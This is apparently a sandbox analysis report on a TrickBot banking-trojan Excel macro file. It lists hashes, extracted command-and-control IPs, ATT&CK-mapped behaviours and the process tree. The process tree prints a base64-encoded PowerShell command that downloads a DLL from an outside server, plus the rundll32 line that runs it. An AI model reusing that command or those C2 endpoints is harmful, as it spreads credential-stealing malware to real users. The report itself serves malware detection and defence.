trickbot | 45b7ef5a55cbcddb1f21415450ee982ebdafac1cf3a57e62acb8d014bc797dfc

General

Target

RNP-00129.xlsm
Size

87KB
MD5

21f5a279cdb8389e79a711ae43a9215a
SHA1

74516a2bedf8b8aa4551cedba8a62e68209c0068
SHA256

45b7ef5a55cbcddb1f21415450ee982ebdafac1cf3a57e62acb8d014bc797dfc
SHA512

59af799f48b406da33005e71941341e4873ee5de0c5aa76eeb1a2465d11a9b8f4ec61209c3dbffe25078bc73b61552c82bbae9c5e3e20789ba227d7783776cde

Score

10^/10

trickbot rob136 banker trojan

Malware Config

Extracted

Family

trickbot

Version

100019

Botnet

rob136

C2

65.152.201.203:443

185.56.175.122:443

46.99.175.217:443

179.189.229.254:443

46.99.175.149:443

181.129.167.82:443

216.166.148.187:443

46.99.188.223:443

128.201.76.252:443

62.99.79.77:443

60.51.47.65:443

24.162.214.166:443

45.36.99.184:443

97.83.40.67:443

184.74.99.214:443

103.105.254.17:443

62.99.76.213:443

82.159.149.52:443

Attributes

autorun
Name:pwgrabb
Name:pwgrabc

ecc_pubkey.base64

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3692	3252	cmd.exe	EXCEL.EXE

Trickbot
Developed in 2016, TrickBot is one of the more recent banking Trojans.
trojan banker trickbot
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

33 3684 powershell.exe
Downloads MZ/PE file
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

3060 rundll32.exe
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

46 ident.me
47 ident.me

flow	pid	process
33	3684	powershell.exe

pid	process
3060	rundll32.exe

flow	ioc
46	ident.me
47	ident.me

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3252 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3684 powershell.exe
3684 powershell.exe
3684 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exewermgr.exe

description pid process

Token: SeDebugPrivilege 3684 powershell.exe
Token: SeDebugPrivilege 872 wermgr.exe

pid	process
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	872	wermgr.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	process
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE
3252	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

EXCEL.EXEcmd.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3252 wrote to memory of 3692	3252	EXCEL.EXE	cmd.exe
PID 3252 wrote to memory of 3692	3252	EXCEL.EXE	cmd.exe
PID 3692 wrote to memory of 3684	3692	cmd.exe	powershell.exe
PID 3692 wrote to memory of 3684	3692	cmd.exe	powershell.exe
PID 3692 wrote to memory of 1608	3692	cmd.exe	rundll32.exe
PID 3692 wrote to memory of 1608	3692	cmd.exe	rundll32.exe
PID 1608 wrote to memory of 3060	1608	rundll32.exe	rundll32.exe
PID 1608 wrote to memory of 3060	1608	rundll32.exe	rundll32.exe
PID 1608 wrote to memory of 3060	1608	rundll32.exe	rundll32.exe
PID 3060 wrote to memory of 2412	3060	rundll32.exe	cmd.exe
PID 3060 wrote to memory of 2412	3060	rundll32.exe	cmd.exe
PID 3060 wrote to memory of 2412	3060	rundll32.exe	cmd.exe
PID 3060 wrote to memory of 872	3060	rundll32.exe	wermgr.exe
PID 3060 wrote to memory of 872	3060	rundll32.exe	wermgr.exe
PID 3060 wrote to memory of 872	3060	rundll32.exe	wermgr.exe
PID 3060 wrote to memory of 872	3060	rundll32.exe	wermgr.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\RNP-00129.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3252

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c start /B /WAIT powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA= & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA=
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3684

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
3⤵
- Suspicious use of WriteProcessMemory
PID:1608

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3060

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe
5⤵
PID:2412

C:\Windows\system32\wermgr.exe
C:\Windows\system32\wermgr.exe
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:872

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\clb.dll
MD5
ea6a07f9365a91a84a7c7ed1340dee05

SHA1
510808f59753ffd7beba10d8c999b40c05db6473

SHA256
2b2a9c2ddf1e57f691d3d8198e828295aabcb600cb0bdbd5ef80c509c19fba75

SHA512
4edcc6c8ee509c9ae31f2bb042ba846895fe6b4778886a6d7493592882916c008a61beac40ff02729450ad40849c641cbb3c470b13afff14078f78da6291d990

Download Submit
\ProgramData\clb.dll
MD5
ea6a07f9365a91a84a7c7ed1340dee05

SHA1
510808f59753ffd7beba10d8c999b40c05db6473

SHA256
2b2a9c2ddf1e57f691d3d8198e828295aabcb600cb0bdbd5ef80c509c19fba75

SHA512
4edcc6c8ee509c9ae31f2bb042ba846895fe6b4778886a6d7493592882916c008a61beac40ff02729450ad40849c641cbb3c470b13afff14078f78da6291d990

Download Submit
memory/872-306-0x000001E72DCD0000-0x000001E72DCD1000-memory.dmp

Filesize
4KB

Download
memory/872-305-0x000001E72DBC0000-0x000001E72DBE9000-memory.dmp

Filesize
164KB

Download
memory/872-304-0x0000000000000000-mapping.dmp

Download
memory/1608-296-0x0000000000000000-mapping.dmp

Download
memory/3060-303-0x0000000010001000-0x0000000010003000-memory.dmp

Filesize
8KB

Download
memory/3060-302-0x0000000002600000-0x000000000274A000-memory.dmp

Filesize
1.3MB

Download
memory/3060-300-0x00000000041E0000-0x0000000004448000-memory.dmp

Filesize
2.4MB

Download
memory/3060-301-0x0000000002600000-0x000000000274A000-memory.dmp

Filesize
1.3MB

Download
memory/3060-298-0x0000000000000000-mapping.dmp

Download
memory/3252-121-0x00007FF8E37B0000-0x00007FF8E37C0000-memory.dmp

Filesize
64KB

Download
memory/3252-122-0x000001E521190000-0x000001E521192000-memory.dmp

Filesize
8KB

Download
memory/3252-115-0x00007FF8E37B0000-0x00007FF8E37C0000-memory.dmp

Filesize
64KB

Download
memory/3252-120-0x000001E521190000-0x000001E521192000-memory.dmp

Filesize
8KB

Download
memory/3252-119-0x000001E521190000-0x000001E521192000-memory.dmp

Filesize
8KB

Download
memory/3252-118-0x00007FF8E37B0000-0x00007FF8E37C0000-memory.dmp

Filesize
64KB

Download
memory/3252-117-0x00007FF8E37B0000-0x00007FF8E37C0000-memory.dmp

Filesize
64KB

Download
memory/3252-116-0x00007FF8E37B0000-0x00007FF8E37C0000-memory.dmp

Filesize
64KB

Download
memory/3684-291-0x00000123899F6000-0x00000123899F8000-memory.dmp

Filesize
8KB

Download
memory/3684-283-0x00000123899F3000-0x00000123899F5000-memory.dmp

Filesize
8KB

Download
memory/3684-282-0x00000123899F0000-0x00000123899F2000-memory.dmp

Filesize
8KB

Download
memory/3684-273-0x0000000000000000-mapping.dmp

Download
memory/3692-272-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads